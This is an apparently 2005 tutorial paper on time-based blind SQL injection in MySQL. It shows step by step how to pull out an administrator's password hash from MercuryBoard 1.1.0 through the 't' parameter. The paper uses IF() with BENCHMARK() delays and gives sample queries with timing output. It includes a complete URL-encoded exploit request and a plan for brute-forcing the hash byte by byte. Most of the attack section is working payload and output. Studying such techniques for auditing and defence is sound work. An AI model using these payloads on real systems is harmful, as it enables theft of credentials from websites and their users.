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Blind Sql-Injection in MySQL Databases



I wrote this small paper, I haven't seen in web much about blind injection in MySQL databases. Zk
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{                            [   Zeelock-2005   ]                              }

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{                 A D V A N C E D  S Q L - I N J E C T I O N                   }

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{                  [   Blind Injection in MySQL Databases   ]                  }

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"Validate anything can be passed. Security lays in the inputs. " - zk


Date: 15th February 2005

Keywords: Benchmark(), IF(), "Blind Injection", "Time Delay", waitfor



Abstract

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MySQL is not an easy database for Blind SQL Injection: it displays no errors 

when an UNION occours between two columns of different type and there isn't a 

way to make a query displaying errors from parameters passed inside the query 

itself. Many times happens that auditing the code of a php/MySQL application, we 

find an injection vulnerability that is not exploitable, because we cannot see 

the output or we see always an error cause the value retrieved is passed to 

multiple queries with a different numbers of columns before the script ends. 


In this cases the SELECT...UNION statement isn't enough. Or not?



Injection toolbox

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A common trick is always to UNION SELECT [null,null,.. up to the right number of 

columns in the previous SELECT]/* to see when we get no errors, so we can 

procede further. Even if we know exactly the name of each COLUMN in each TABLE, 

is nearly impossible to retrieve the content if no output is displayed.


In the following examples I'll show you step by step how to retrieve the 

password hash from a vulnerability discovered in MercuryBoard by codebug.org 

that seemed not to be  exploitable because you cannot see any good output.


I assume that the name of the tables is already known. (This is a common issue,

during the auditing of Opensource scripts, or when debugging options are active

by default).



The Vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MercuryBoard v. 1.1.0 Alberto Trivero discovered an SQL-Injection when the 

post.php include was switched to 'reply' and the parameter 't' was passed.

The issue generated an error when an user is logged in an tries to perform the

following operation:


http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1'


The issue seemed not to be exploitable. In reality it was.



Being Ready for Blindness

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

First of all I have fully installed a vulnerable version of Mercuryboard with 

a low privileges user for the DB.



|---| DATABASE name is 'mercuryboard'|---| (let's show the tables)


mysql> SHOW TABLES;

+-------------------+

| Tables_in_mercury |

+-------------------+

| mb_active         |

| mb_attach         |

| mb_forums         |

| mb_groups         |

| mb_help           |

| mb_logs           |

| mb_membertitles   |

| mb_pmsystem       |

| mb_posts          |

| mb_replacements   |

| mb_settings       |

| mb_skins          |

| mb_subscriptions  |

| mb_templates      |

| mb_topics         |

| mb_users          |

| mb_votes          |

+-------------------+

17 rows in set (0.00 sec)



|---| As you can see Current User is a common User |---| (Never run as root!)


mysql> SELECT USER();

+---------------+

| USER()        |

+---------------+

| 123@localhost |

+---------------+

1 row in set (0.00 sec)


mysql> SELECT password,USER() FROM mysql.user;

ERROR 1142: select command denied to user: '123@localhost' for table 'user'

mysql>



|---| The following query shows the first byte of Admin's Hash |---|


mysql> SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

+------------------------------+

| SUBSTRING(user_password,1,1) |

+------------------------------+

| 5                            |

+------------------------------+

1 row in set (0.00 sec)



|---| The following is the first byte of Admin's Hash as ASCII number |---|


mysql> SELECT ASCII('5');

+------------+

| ASCII('5') |

+------------+

|         53 |

+------------+

1 row in set (0.00 sec)



Feeling the difference

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The goal is to find a way to be advised in someway that the contant we are

looking for is the right one. How is it possible to know if the first byte of 

Admin Hash is or not equal to '5'? 

Well, in NGSS whitepaper the author simply made the query to be delayed if the

content matched the one injected. In msSQL this was pursued with a conditional

IF [QUERY] waitfor [TIME]. MySQL doesn't support 'waitfor'.


In the following query I succeded in creating a delayed of 5 seconds by using an

IF() function followed by a BENCHMARK() function. Current User can execute it 

with low privileges (Usually you can execute the BENCHMARK() function if you can

SELECT). That's why is so powerful.



|---| Passing a wrong number |---| (CHAR(52) is equal to '4')


mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1

,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM

mb_users WHERE user_group = 1;

+-----------+

| active_id |

+-----------+

|         3 |

|         0 |

+-----------+

2 rows in set (0.00 sec)


In the previous example the BENCHMARK() function is not executed (Elapsed Time 

0.00 sec). 



|---| Passing the matching content |---| (BENCHMARK() is executed)


mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1

,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM

mb_users WHERE user_group = 1;

+-----------+

| active_id |

+-----------+

|         3 |

|         0 |

+-----------+

2 rows in set (5.36 sec)


In the previous example the BENCHMARK() function delayed the query by 5.36 sec.



Prepairing for GET req

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To inject sql commands succesfully we have to clean the request from any single

quote.



|---| Cleaning from quotes |---|


mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1

,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users WHERE user_gr

oup = 1;

+-----------+

| active_id |

+-----------+

|         3 |

|         0 |

+-----------+

2 rows in set (4.65 sec)


mysql>



Exploiting the vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

First we have to log in a Registered User with the rights to reply in the 

current thread.


http://127.0.0.1/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF

(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),

null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*


And we'll see a slow down of a couple of seconds cause the first byte is 

CHAR(53), 5.



Bruteforcing

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For rebuilding content letter by letter is needed only a simple perl script that

performs GET requests and wait for the answer byte after byte {..SUBSTRING(strn,

[1,2,3..n],1)..} and if the response is delayed by 7 to 10 seconds, we have the 

right stuff. Bruteforcing could take a while with MD5 hashes, because they are 

alfanumeric, 32 bytes long. Fortunately not CASE SENSITIVE.


0 to 9 --> ASCII 48 to 57

a to z --> ASCII 97 to 122


In the worst case it takes about 36 requests of about 3 sec per request plus the

 delay for the right byte. A full hash in the worst case could be retrieved in 

 ((3*35)+10)*32= 3622 seconds (1 hour).



Conclusion

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Even MySQL is subjected to Blind Sql Injection.


Thanks to +mala (PowerBrowsing and GA are awesome), NGSS security (for such 

'avanced' papers), BlueberryPie friends